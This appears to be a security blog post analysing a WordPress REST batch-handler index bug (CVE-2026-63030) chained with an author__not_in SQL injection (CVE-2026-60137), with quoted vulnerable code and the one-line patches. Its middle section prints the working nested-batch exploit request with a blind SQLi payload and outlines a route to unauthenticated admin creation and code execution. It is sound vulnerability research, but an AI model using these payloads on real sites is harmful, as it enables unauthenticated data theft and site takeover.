WordPress's REST batch handler walks each batch's requests[] three times. The second pass pushes to two parallel arrays, $matches[] and $validation[]. The validation array is pushed on every iteration. The matches array skips the push for entries whose path fails to parse. The first unparseable entry separates the two indexes by one, and from that point on every real request in the batch is validated against its own route's schema and dispatched to a different route's handler. CVE-2026-63030 is the gap between those two indexes. The patch is one line.
CVE-2026-63030: WordPress's REST Batch Sanitized Under /wp/v2/categories. It Dispatched Under /wp/v2/posts.
patterns
cve
proof of concept
- infosec.exchange/@DarkWebInformer/116937771276303472
- zeroc00I/CVE-2026-63030%20(%E2%98%850)
- Senanfurkan/wordpress-cve-2026-63030%20(%E2%98%850)
- tcyph3r/wp2shell-cve-2026-63030-root-cause%20(%E2%98%850)
- projectdiscovery/nuclei-templates
- infosec.exchange/@suriq/116939668670056647
- infosec.exchange/@obivan/116940574604966863
- CybersecSpirit/CVE-2026-63030%20(%E2%98%850)
- infosec.exchange/@threatnoir/116944664202369827
- 4minx/CVE-2026-63030%20(%E2%98%852)
- mhtsec/CVE-2026-63030%20(%E2%98%851)
- 0xBlackash/CVE-2026-63030%20(%E2%98%850)
- mverschu/CVE-2026-63030%20(%E2%98%851)
- gbrsh/CVE-2026-63030%20(%E2%98%850)
- ebrasha/abdal-cve-2026-63030%20(%E2%98%850)
- mrx-arafat/CVE-2026-63030-POC%20(%E2%98%850)
- ChiefYoru/CVE-2026-63030_PoC%20(%E2%98%850)
- J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t%20(%E2%98%850)
- 0xh7ml/CVE-2026-63030%20(%E2%98%850)
- 4B3R4M4-607D/CVE-2026-63030-POC%20(%E2%98%850)
- Lukols-Dev/wp-cve-2026-63030-check%20(%E2%98%850)
- skelersecurity/wordpress-skelersecurity-core-security-CVE-2026-63030%20(%E2%98%850)
- administrator-01001/CVE-2026-63030%20(%E2%98%851)
- joaovicdev/EXPLOIT-CVE-2026-63030%20(%E2%98%850)
- TomorrowX6/CVE-2026-63030-poc%20(%E2%98%850)
- OffByOn3/CVE-2026-63030-Wp2Shell%20(%E2%98%854)
- Ch4120N/CVE-2026-63030%20(%E2%98%850)
- infosec.exchange/@securityfeed/116955584348590140
- infosec.exchange/@DailyCyberSecurity/116955456220544468
- infosec.exchange/@cloud/116956537504985412
- GhostInExile/CVE-2026-63030-Wp2Shell%20(%E2%98%854)
- mrmtwoj/Fix-CVE-2026-60137-CVE-2026-63030-in-wordpress%20(%E2%98%850)
- Bhanunamikaze/WP2Shell-CVE-2026-63030-POC%20(%E2%98%850)
- gagaltotal/CVE-2026-63030-CVE-2026-60137-wp2shell-poc%20(%E2%98%850)
- infosec.exchange/@threatnoir/116967785089394840
- razureink/cve-2026-63030_60137-wordpress_rce_reproduction%20(%E2%98%850)
- infosec.exchange/@VirusBulletin/116968675172587890
- Giangdurian/CVE-2026-63030-CVE-2026-60137%20(%E2%98%850)
- shinthink/CVE-2026-63030%20(%E2%98%850)
- imXur/WordPress-CVE-2026-63030-Analysis%20(%E2%98%850)
- Dungsocool/CVE-2026-60137_CVE-2026-63030%20(%E2%98%850)
- Industri4l-H3ll-Xpl0it3rs/CVE-2026-63030-WP2Shell%20(%E2%98%850)
- Procjevt/CVE-2026-63030%20(%E2%98%850)
- x-znn/CVE-2026-63030%20(%E2%98%850)
- Dungsocool/CVE-2026-60137-CVE-2026-63030%20(%E2%98%850)
- minwunn/wp2shell-CVE-2026-63030%20(%E2%98%850)
- AnggaTechI/CVE-2026-63030%20(%E2%98%850)
- TranDongA3/POC-CVE-2026-63030-CVE-2026-60137-%20(%E2%98%850)
- mhassani97/cve-2026-63030-lab%20(%E2%98%850)
- ivanesk315/CVE-2026-60137-and-CVE-2026-63030%20(%E2%98%850)
- fl0ydsec/CVE-2026-63030%20(%E2%98%850)
- langz337/CVE-2026-63030%20(%E2%98%850)
- jed-parsec/CVE-2026-63030-60137-wp2shell-lab%20(%E2%98%850)
- MRdark-ops/WP2Shell--CVE-2026-63030-CVE-2026-60137-%20(%E2%98%850)
- 0xCyp1337/CVE-2026-63030-CVE-2026-60137-WP2SHELL%20(%E2%98%850)
- K52-ai/CVE-2026-63030%20(%E2%98%850)
- Githu836/PoC-for-CVE-2026-63030%20(%E2%98%850)
- Tersurrr/Orga-Tersur-Daniel-CVE-2026-63030%20(%E2%98%850)
The two arrays were supposed to stay 1-to-1
WP_REST_Server::serve_batch_request_v1() in wp-includes/rest-api/class-wp-rest-server.php is the handler registered against POST /batch/v1. The route has no permission_callback. Any unauthenticated caller can post a JSON body of the shape {"requests": [ {method,path,body,headers}, ... ]} and the handler will serve each entry as a sub-request. The route has existed since WordPress 5.6 in December 2020.
In 6.9.4 the handler runs three passes.
The build pass turns each entry into a WP_REST_Request or a WP_Error, in order:
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = array();
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );
continue;
}
$single_request = new WP_REST_Request( /* method, path, body, headers from $args */ );
$requests[] = $single_request;
}The validate pass walks $requests and populates two companion arrays, $matches[] (which route this request maps to) and $validation[] (did has_valid_params() and sanitize_params() succeed for that route). Both are populated by plain [] push, not by index:
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request; // $matches[] NOT appended
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$error = null;
// ... run validation / sanitization against the matched route's schema ...
if ( $error ) {
$has_error = true;
$validation[] = $error;
} else {
$validation[] = true;
}
}The two arrays were supposed to end up 1-to-1 with $requests. The WP_Error branch pushes to $validation only. Every subsequent iteration still pushes to $matches, with a plain $matches[] =. So the first time an entry becomes a WP_Error instead of a WP_REST_Request, the two arrays separate by one.
The dispatch pass then reads from them by index, trusting the 1-to-1 contract:
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
$responses[] = $this->envelope_response( $this->error_to_response( $single_request ), false )->get_data();
continue;
}
...
$match = $matches[ $i ];
...
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}$single_request is the real request object the attacker built. $route and $handler are read from $matches[ $i ]. After a parse-failure decoy shifted the array by one, those two no longer correspond to the same entry. The dispatcher runs the real request's data under the handler that was computed for a later entry.
The validator and the dispatcher are reading two different routes for the same request. The validator used the request's own declared path. The dispatcher used an index that no longer agrees with it.
"http://:" is the entry that fails to parse
wp_parse_url() is a thin wrapper over PHP's parse_url(). PHP's parse routine returns false for authorities that specify a port with no host and no numeric port after the colon. "http://:" is three bytes short of a valid URL. The build pass's false === $parsed_url branch turns that string into a WP_Error in $requests[].
A string the batch handler cannot parse is the only requirement for the shift. The attacker does not need an endpoint to exist, does not need a permission check to pass, does not need a side effect. The string's one job is to be unparseable. Every public PoC uses "http://:" because it is the shortest known value that produces the behavior.
The outer shift is a batch inside a batch
The disclosed PoCs post this top-level body to /?rest_route=/batch/v1:
{
"requests": [
{ "method": "POST", "path": "http://:" },
{ "method": "POST", "path": "/wp/v2/posts",
"body": { "requests": [ /* nested batch, see below */ ] } },
{ "method": "POST", "path": "/batch/v1" }
]
}Validate pass over the outer batch:
- Index 0 is a
WP_Error.$validation[0] = WP_Error.$matchesis not touched. - Index 1 is a real request for
POST /wp/v2/posts.$matches[0]becomes the posts-create match.$validation[1]becomes whatever the posts schema said about the body. - Index 2 is a real request for
POST /batch/v1.$matches[1]becomes the batch-handler match.$validation[2]is set accordingly.
Dispatch pass:
$i = 0:$requests[0]is aWP_Error, the handler emits the parse-failure envelope and continues.$i = 1:$requests[1]is thePOST /wp/v2/postsrequest object. The handler reads$matches[1].$matches[1]is the entry that was pushed when validation ran on/batch/v1.respond_to_request()is called with the posts request as$requestand the batch handler as$handler.
respond_to_request() calls $handler['permission_callback'] first, then $handler['callback']. The batch route's permission callback is empty. The batch route's callback is serve_batch_request_v1. The attacker's POST /wp/v2/posts request object, which carries a nested requests[] array in its body, is now the argument to a second invocation of the batch handler, inside the first invocation's own dispatch loop.
The inner batch is the one the attacker actually wants to run.
The inner shift sanitizes under /wp/v2/categories and dispatches under /wp/v2/posts
The nested body the PoC sends is:
{
"requests": [
{ "method": "GET", "path": "http://:" },
{ "method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT+IF((<cond>),SLEEP(0.4),0)" },
{ "method": "GET", "path": "/wp/v2/posts" }
]
}Validate pass over the inner batch:
- Index 0:
WP_Error, no$matchespush. - Index 1:
GET /wp/v2/categories?author_exclude=<SQL>.match_request_to_handler()returns the categories route handler.$matches[0]becomes the categories match.has_valid_params()andsanitize_params()run against the categories route's registered schema. The categories collection schema does not register a parameter namedauthor_exclude. The sanitizer walks only registered params.author_excludeis ignored. The raw SQL string stays in the request's query params. - Index 2:
GET /wp/v2/posts.$matches[1]becomes the posts collection match.
Dispatch pass:
$i = 0:WP_Error, skipped.$i = 1:$single_requestis the/wp/v2/categoriesrequest, still carrying the unsanitizedauthor_excludein its query params.$match = $matches[1], which is the posts collection match.respond_to_request()runs the posts-collection permission callback (__return_true, posts are publicly readable) and then invokesWP_REST_Posts_Controller::get_items( $single_request ).
The posts controller does register author_exclude as a collection parameter. It reads it directly from the request's query params and maps it to author__not_in in the arguments it passes to WP_Query.
The gate ran under the categories schema. The sink is the posts handler. The schema that said "this input is clean" and the schema that handles the input are not the same schema, and the input has lived through the first because the second's name for it was not in the first's registry.
author_exclude as a scalar is CVE-2026-60137
WP_Query::get_posts() in 6.9.4 handles author__not_in with a scalar-skips-sanitization gap:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}absint() and sort() run inside is_array(). The implode() and the string concatenation run outside it. A scalar author__not_in value is cast to array by the one-element wrap, imploded as the single-element list that is itself, and concatenated into the NOT IN (...) clause without sanitization.
A query string author_exclude=SELECT+IF((<cond>),SLEEP(0.4),0) arrives at the REST layer as a scalar. The posts controller forwards it to WP_Query as author__not_in. WP_Query runs the scalar branch. The $where clause now contains NOT IN (SELECT IF((<cond>),SLEEP(0.4),0)). A boolean-blind SQL injection, no credentials required.
That is CVE-2026-60137. The two CVEs ship against the same WordPress release because neither is sufficient alone. The route confusion is a dispatch bug that routes a request to the wrong handler. The scalar-skip is a sanitizer bug that only ships SQL when the caller sent a non-array value. The route confusion is what lets an unauthenticated caller present a request whose declared route never asked WP_Query anything, and whose dispatched handler then does.
The patch is one line in each file
The 6.9.5 fix for the batch handler is one line, inside the WP_Error branch of the validate pass:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
+ $matches[] = $single_request;
$validation[] = $single_request;
continue;
}The error now rides along in $matches[]. The two arrays stay 1-to-1 with $requests. The dispatch pass still reads $matches[ $i ], but every index now points at the entry it was computed for. The validator and the dispatcher stop reading past each other.
The 6.9.5 fix for the SQL injection is also one line, this time by substitution:
if ( ! empty( $query_vars['author__not_in'] ) ) {
- if ( is_array( $query_vars['author__not_in'] ) ) {
- $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
- sort( $query_vars['author__not_in'] );
+ $author__not_in_id_list = wp_parse_id_list( $query_vars['author__not_in'] );
+ if ( count( $author__not_in_id_list ) > 0 ) {
+ sort( $author__not_in_id_list );
+ $where .= sprintf(
+ " AND {$wpdb->posts}.post_author NOT IN (%s) ",
+ implode( ',', $author__not_in_id_list )
+ );
+ $query_vars['author__not_in'] = $author__not_in_id_list;
}
- $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
- $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}wp_parse_id_list() applies absint whether the input is a scalar, a comma-separated string, or an array. The dangling scalar branch is closed by using one entry point for all three shapes.
The same 6.9.5 release also adds is_dispatching() as a defense-in-depth guard on serve_request():
public function serve_request( $path = null ) {
+ if ( $this->is_dispatching() ) {
+ return false;
+ }That guard refuses to start a new top-level REST cycle while another dispatch is in flight. It is not what the public PoCs exploit (the batch route confusion is contained inside serve_batch_request_v1, not inside serve_request), and the live replays in the researcher's lab stayed blocked once only the $matches[] line was backported. The guard closes an adjacent class of nested-dispatch bug the maintainer apparently found while writing the primary fix. Both arrive in the same release.
Read-only SQLi, unauthenticated RCE
A boolean-blind SQL injection in a SELECT is read-only. Public writeups of CVE-2026-63030 that stop at SELECT ... SLEEP(0.4) imply that the ceiling is data exfiltration: database fingerprint, admin bcrypt hash, hope the password cracks. The disclosed PoC chain does not stop there.
The injection point is inside a NOT IN (...) clause whose subquery the attacker controls. ) AND 1=0 UNION ALL SELECT <row> -- - closes the clause and runs a UNION whose columns match wp_posts. The injection stays read-only in the SQL sense, no INSERT, no UPDATE, no stacked queries, but the forged rows that come back out of SELECT are indistinguishable to any downstream reader from rows that were actually written.
WordPress's internal subsystems trust rows read from wp_posts as legitimate application state. The disclosed chain reserves three real oembed_cache rows by seeding real oEmbed requests, extracts the real administrator's user ID through the blind oracle, and UNION-forges a customize_changeset row keyed to that admin ID at one of the reserved IDs. The nav-menu-item block inside the forged changeset's JSON carries user_id set to the real admin. The Customizer's changeset consumer, running inside WordPress's own privileged PHP, reads the row back and processes it as though the admin had authored it. From the Customizer's point of view, finding the row in wp_posts is finding the admin's intent. A subsequent, unauthenticated POST /wp/v2/users with the attacker-chosen credentials is then permitted to create a new administrator account. Login as that administrator, upload a plugin, execute PHP.
The CVE record is filed against the REST batch handler. The remote-code-execution primitive is an emergent primitive: four components, each correct in its own scope, whose intersection no single CVE owns. The batch handler is correct as long as its two arrays stay 1-to-1. The author__not_in sanitizer is correct as long as the caller sends an array. The posts collection's public-read permission callback is correct because posts are, by design, public-readable. The Customizer, nav-menu, and oEmbed-cache subsystems reading rows out of wp_posts as legitimate application state are correct as long as nothing else can forge rows into the SELECT output. UNION-based row forgery through a read-only blind injection breaks the fourth assumption, which is the one that spans all four components. That composition is why CVE-2026-63030's CVSS is 9.8 and its KEV deadline is 2026-07-24. The nuclei template landed inside the same /http/cves/2026/ directory a week into the disclosure window. The scanner currently sees fifty-six distinct PoC repositories.
The index is the primitive
The batch handler walks a list and pushes to two arrays. One of those arrays unconditionally. The other one with a skip. The skip is what the handler was supposed to do when an entry became a WP_Error. The handler was supposed to let error entries fall out of the matching set, because they had no matched handler to be dispatched against. What it was not supposed to do was keep reading from the matching set by the index of the original list.
This bug is the pattern we have been collecting as gate-narrower-than-sink: the gate's grammar is strictly contained within the sink's, and inputs the sink accepts but the gate does not match flow through unfiltered. The gate here is has_valid_params() and sanitize_params() run against whichever route match_request_to_handler() returned for $single_request. The sink is whichever $handler['callback'] the dispatcher reads out of $matches[ $i ]. In 6.9.4 those are not required to be the same route. The patch is the one line that makes them the same route again.
The patch is one line. It appends the WP_Error to $matches so the index the validator uses and the index the dispatcher uses stop reading past each other.